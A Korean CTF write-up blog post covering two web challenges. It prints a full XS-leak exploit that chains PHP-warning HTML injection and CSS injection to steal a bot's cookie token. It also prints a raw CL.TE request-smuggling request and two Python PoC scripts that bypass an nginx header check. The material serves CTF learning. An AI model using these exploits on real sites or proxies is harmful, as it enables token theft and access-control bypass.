Web Hacking/WriteUp

2025 sknb CTF Writeup

프레딕 2025. 11. 23. 15:40
728x90

이번 주말에 일본에서 하는 sknb CTF를 개인적으로 가볍게 뛰었는데 오랜만에 writeup작성이 하고싶어져서 작성하려 한다.

Yozuri

요 문제는 아래 두 레퍼런스 취약점을 합친 문제이다.

https://qiita.com/singetu0096/items/65621ba135544e262518

 

R3CTF 2025 「Silent Profit」 upsolve&writeup - Qiita

こんにちは新月です。 2025/07/05 11:00 ~ 2025/07/07 11:00(JST)に開催されたR3CTFにてsknbで出て73位でした。 自分はOSINT問を1問解いた以外は、ひたすらこの問題に沼っていました。 いつもなら解けるレ

qiita.com

https://blog.arkark.dev/2025/09/08/asisctf-quals

 

Forcing Quirks Mode with PHP Warnings + CSS Exfiltration without Network Requests | XS-Spin Blog

Author writeup for my challenge `pure-leak` in ASIS CTF Quals 2025.

blog.arkark.dev

사실 ark 레퍼런스는 너무 유명하기도 하고 실제로 asis ctf 참가했어서 알고있었는데 위에 레퍼런스 내용은 몰랐어서 대회때 풀지 못했다;;

일단 해당 문제 코드를 설명하자면 TOKEN을 따오면 flag를 얻어올 수 있다. 문제 서버는 web과 bot 두개로 나뉘어져 있고 코드는 아래와 같다.

web/index.php

<!DOCTYPE html>
<html>
<body>
    <!--- Aomiya Yozuri is very cute cat (/*・ω・)/  -->
    <h1>Yozuri</h1>
    <h3>Source</h3>
    <pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
    <h3>Content</h3>
    <?php
    if (isset($_GET["data"])) {
        $data = $_GET["data"];
        if (!is_string($data) | strlen($data) > 4096) {
            echo "Invalid data.";
        }
        else {
          unserialize($data);
        }
    } else {
        echo "No data provided.";
    }?>
    <h3>Token</h3>
    <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
    <h3>Usage</h3>
    <a href="/?data=your_serialized_data">/?data=your_serialized_data</a>
</body>
</html>

bot/index.js

import express from "express";
import rateLimit from "express-rate-limit";
import crypto from "node:crypto";

import { visit, challenge, flag } from "./conf.js";

if (!flag.validate(flag.value)) {
  console.log(`Invalid flag: ${flag.value}`);
  process.exit(1);
}

const app = express();

app.use(express.json());
app.set("view engine", "ejs");

app.get("/", (req, res) => {
  res.render("index", {
    name: challenge.name,
    appUrl: challenge.appUrl.origin,
  });
});

app.use(
  "/api",
  rateLimit({
    windowMs: 60_000,
    max: challenge.rateLimit,
  })
);

const tokens = new Set();

app.post("/api/report", async (req, res) => {
  const { url } = req.body;
  if (
    typeof url !== "string" ||
    (!url.startsWith("http://") && !url.startsWith("https://"))
  ) {
    return res.status(400).send("Invalid url");
  }

  const token = "TOKEN_" + crypto.randomBytes(8).toString("hex");
  console.log(`Generated token: ${token}`);

  tokens.add(token);
  setTimeout(() => {
    tokens.delete(token); // expired
  }, 60_000);

  try {
    await visit(url, token);
    res.sendStatus(200);
  } catch (e) {
    console.error(e);
    res.status(500).send("Something went wrong");
  }
});

app.post("/api/verify", (req, res) => {
  const { token } = req.body;

  if (tokens.has(token)) {
    res.send(flag.value); // 🚩
  } else {
    res.status(404).send("Not found");
  }
});

app.listen(1337);

bot/conf.js

import puppeteer from "puppeteer";

export const challenge = {
  name: "Yozuri",
  appUrl: new URL("http://web:3000"),
  rateLimit: 4, // max requests per 1 minute
};

export const flag = {
  value: process.env.FLAG,
  validate: (flag) => flag && /^sknb{.+}$/.test(flag),
};

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url, token) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--js-flags=--noexpose_wasm,--jitless",
      "--disable-features=HttpsFirstBalancedModeAutoEnable",
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    await context.setCookie({
      name: "TOKEN",
      value: token,
      domain: challenge.appUrl.hostname,
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 3_000 });
    await sleep(20_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

 

먼저, web서버에 index.php에서 data를 unserialize를 하고 있는데 사실상 문제만 보면 html injection을 해야 할 것 같다. (RCE는 가젯이 없어서 불가)

그러나 html을 삽입할 방법이 없었는데 위 레퍼런스1을 사용하면 가능했다.

https://qiita.com/singetu0096/items/65621ba135544e262518

 

R3CTF 2025 「Silent Profit」 upsolve&writeup - Qiita

こんにちは新月です。 2025/07/05 11:00 ~ 2025/07/07 11:00(JST)に開催されたR3CTFにてsknbで出て73位でした。 自分はOSINT問を1問解いた以外は、ひたすらこの問題に沼っていました。 いつもなら解けるレ

qiita.com

여기선 간단히 설명하자면 대충 PHP error를 활용하는 것인데 기존 클래스에 새로운 프로퍼티를 추가할때 동적 프로퍼티 관련 error가 발생하는데 이때, zend_error 함수를 사용하고 해당 error 함수에서는 에러구문이 html 이스케이프되지 않고 삽입된다.

따라서, 아래와 같은 구문을 넣으면 html injection이 가능하다.

O:8:"PhpToken":1:{s:28:"<img src=x onerror=alert(1)>";}

html injection이 가능하니 xss를 하면 될 것 같지만 entrypoint.sh파일을 보면 caddy 설정에 CSP를 강력하게 거는 걸 볼 수 있다.

cat > /tmp/Caddyfile << EOF
:3000 {
  header {
    defer
    Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
  }

  reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
    replace_status 200
  }
}
EOF

그럼 남은 방법은 CSS Injection 방법 뿐인데 여기서 ark의 블로그 방식을 똑같이 적용하면 해결 가능하다.

https://blog.arkark.dev/2025/09/08/asisctf-quals

 

Forcing Quirks Mode with PHP Warnings + CSS Exfiltration without Network Requests | XS-Spin Blog

Author writeup for my challenge `pure-leak` in ASIS CTF Quals 2025.

blog.arkark.dev

 <link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet> 이 구문을 html injection 해주면 되는데 위 레퍼런스 설명처럼 쿼크 모드로 바꿔야 되기 때문에 쿼리 1000개를 추가해서 보내면 된다.

import urllib.parse

link_payload = "<link href=\"/not-found.txt?{}body{background:limegreen}\" rel=stylesheet>"

payload = f"O:8:\"PhpToken\":1:{{s:{len(link_payload)}:\"{link_payload}\";}}"

print(urllib.parse.quote(payload)+f"?a{'&a'*1000}")

위 페이로드를 data쿼리에 넣으면 된다.

이제 css injection이 성공했으니 유출만 하면 되는데 문제는 csp의 default-src가 'self'기 때문에 외부 서버로의 요청이 불가하다.

뭐 css dos를 사용해도 되지만 여기선 embed태그를 통한 xsleak을 사용했다.

embed(object) 태그가 있을땐 window.length가 1늘어나지만 만약 embed 태그의 css속성이 display:none이라면 window.length가 늘어나지 않는다.

이를 활용해서 cross-site에서 window.length를 관찰하면 된다.

 

1. 그냥 embed 태그일 경우

2. embed 태그가 display:none인 경우

풀 익스는 아래와 같다.

<body>
  <script type="module">
    const BASE_URL = "http://web:3000";
    // const BASE_URL = "http://localhost:3000";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const TOKEN_SIZE = 16;

    let known = "TOKEN_";
    const win = open("");

    const CHARS = [..."0123456789abcdef"];

    const match = async (pattern) => {
      win.location = "about:blank";
      while (true) {
        try {
          win.origin;
          break;
        } catch {
          await sleep(3);
        }
      }

      const content = `
        <link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
        <div>
          <embed code="x" type=text/html>
          <input pattern=".+${pattern}.+" value="
      `;
      const payload = `O:8:\"PhpToken\":1:{s:${content.length}:\"${content}\";}`

      const url = `${BASE_URL}?data=${encodeURIComponent(
        content
      )}${"&a".repeat(1000)}`; // PHP warnings

      win.location = url;
      while (true) {
        try {
          win.origin;
          await sleep(3);
        } catch {
          break;
        }
      }
      await sleep(100);

      return win.length === 0; // frame counting
    };

    for (let i = 0; i < TOKEN_SIZE; i++) {
      // binary search
      let left = 0;
      let right = CHARS.length;
      while (right - left > 1) {
        const mid = (right + left) >> 1;

        const p = "(" + CHARS.slice(left, mid).join("|") + ")";
        if (await match(known + p)) {
          right = mid;
        } else {
          left = mid;
        }
      }
      known += CHARS[right - 1];
      navigator.sendBeacon("/debug", known);
    }

    navigator.sendBeacon("/token", known);
  </script>
</body>

 

Ghost

사실 간단한거여서 writeup을 작성하지 않으려다가 HRS를 오랜만에 만나서 공부할겸 작성해 본다.

문제는 총 두가지 서버가 돈다

첫번째는 node app서버, 두번째는 proxy nginx 서버이다.

node app서버에는 proxy nginx서버를 사용해서 접근이 가능하다.

services:
  app:
    build: ./app
    expose:
      - "8080"
    environment:
      - FLAG=sknb{dummy}
    restart: unless-stopped
  
  proxy:
    image: nginx:1.17.10
    ports:
      - "8080:80"
    volumes:
      - ./proxy/nginx.conf:/etc/nginx/nginx.conf:ro
    restart: unless-stopped
    depends_on:
      - app

server.js를 보면은 /flag요청에서 x-from-proxy헤더가 붙지 않을때 얻을 수 있다.

const http = require('http');
const fs = require('fs');
const path = require('path');

const FLAG = process.env.FLAG || 'sknb{dummy}';

http.createServer((req, res) => {
  console.log(`${req.method} ${req.url}`);

  switch (req.url) {
    case '/flag':
      if (!req.headers['x-from-proxy']) {
        res.end(FLAG);
      } else {
        res.writeHead(403, { 'Content-Type': 'text/plain' });
        res.end('Forbidden');
      }
      return;
    
    case '/':
      res.end('Hello');
      return;

    default:
      res.writeHead(404, { 'Content-Type': 'text/plain' });
      res.end('Not Found');
      return;
  }

}).listen(8080, () => console.log('Backend on :8080'));

그러나 nginx 프록시를 통한 요청에는 무조건 x-from-proxy헤더가 붙게 된다.

이때, node app Docekrfile을 확인해주었다.

FROM node:24-slim

WORKDIR /app
COPY server.js .

EXPOSE 8080
CMD ["node", "--insecure-http-parser", "server.js"]

node를 --insecure-http-parser옵션을 붙여서 실행시키고 있다. 

https://nodejs.org/docs/latest-v12.x/api/cli.html#cli_insecure_http_parser

 

Command line options | Node.js v12.22.12 Documentation

Command line options# Node.js comes with a variety of CLI options. These options expose built-in debugging, multiple ways to execute scripts, and other helpful runtime options. To view this documentation as a manual page in a terminal, run man node. Synops

nodejs.org

해당 레퍼런스에 따르면 해당 옵션은 HRS 공격에 취약하다고 되어있다.

결론적으로 저 옵션을 사용함으로써, node는 Transfer-encoding 헤더를 알아먹고 nginx는 알아먹지 못한다는 점에서, CL.TE 취약점이 발생한다. (Proxy 역할을 하는 nginx는 Content Lentgh로, Backend 역할을 하는 node는 Transfer-Encoding으로 요청 수행)

 

그러므로 아래와 같은 요청 수행 시, flag를 획득할 수 있을 것이다.

POST / HTTP/1.1
Host: 34.171.47.209:8080

Connection: keep-alive
Content-Length: 55
Transfer-Encoding: chunked

0

GET /flag HTTP/1.1
Host: 34.171.47.209:8080

이를 poc코드로 작성한 것은 아래와 같다.

 

[poc1]

import socket

HOST = '127.0.0.1' 
PORT = 8080 

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    smuggled_request = (
        "GET /flag HTTP/1.1\r\n"
        "Host: 127.0.0.1\r\n"
        "\r\n"
    )
    payload_body = "0\r\n\r\n" + smuggled_request

    content_length = len(payload_body)
    
    wrapper_headers = (
        "POST / HTTP/1.1\r\n"
        "Host: 127.0.0.1\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {content_length}\r\n"
        "Transfer-Encoding : chunked\r\n" 
        "\r\n"
    )

    final_payload = wrapper_headers + payload_body
    print(f"[+] Sending payload...\n---\n{final_payload}\n---")
    s.sendall(final_payload.encode())

    while True:
        data = s.recv(4096)
        if not data:
            break
        print(data.decode(errors='ignore'))
        if "sknb{" in data.decode(errors='ignore'):
            print("\n[+] FOUND FLAG!")
            break

    s.close()

if __name__ == "__main__":
    exploit()

 

[poc2] => writer's Writeup

#!/usr/bin/env python3
import sys, socket, textwrap, time

host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080

payload1 = textwrap.dedent(f"""\
    POST / HTTP/1.1
    Host: vuln
    Content-Length: 39
    Transfer-Encoding : chunked

    0

    GET /flag HTTP/1.1
    Host: vuln

    """).replace("\n", "\r\n").encode()

payload2 = textwrap.dedent(f"""\
    GET / HTTP/1.1
    Host: vuln
    Connection: close

    """).replace("\n", "\r\n").encode()


while True:
    with socket.create_connection((host, port)) as s:
        s.sendall(payload1) # Request Smuggling
        s.sendall(payload2) # Get Poisoned Response
        resp = b""
        while True:
            data = s.recv(1024)
            if not data:
                break
            resp += data
        decoded = resp.decode("latin1", errors="replace")
        if "sknb{" in decoded:
            flag = decoded.split("sknb{")[1].split("}")[0]
            print(f"sknb{{{flag}}}")
            break

    time.sleep(0.1)

 

블로그 쓰고나니 HTTP/1.1 must be die 글이 읽고싶어졌다. 또 읽으러 가야지 GG

728x90
반응형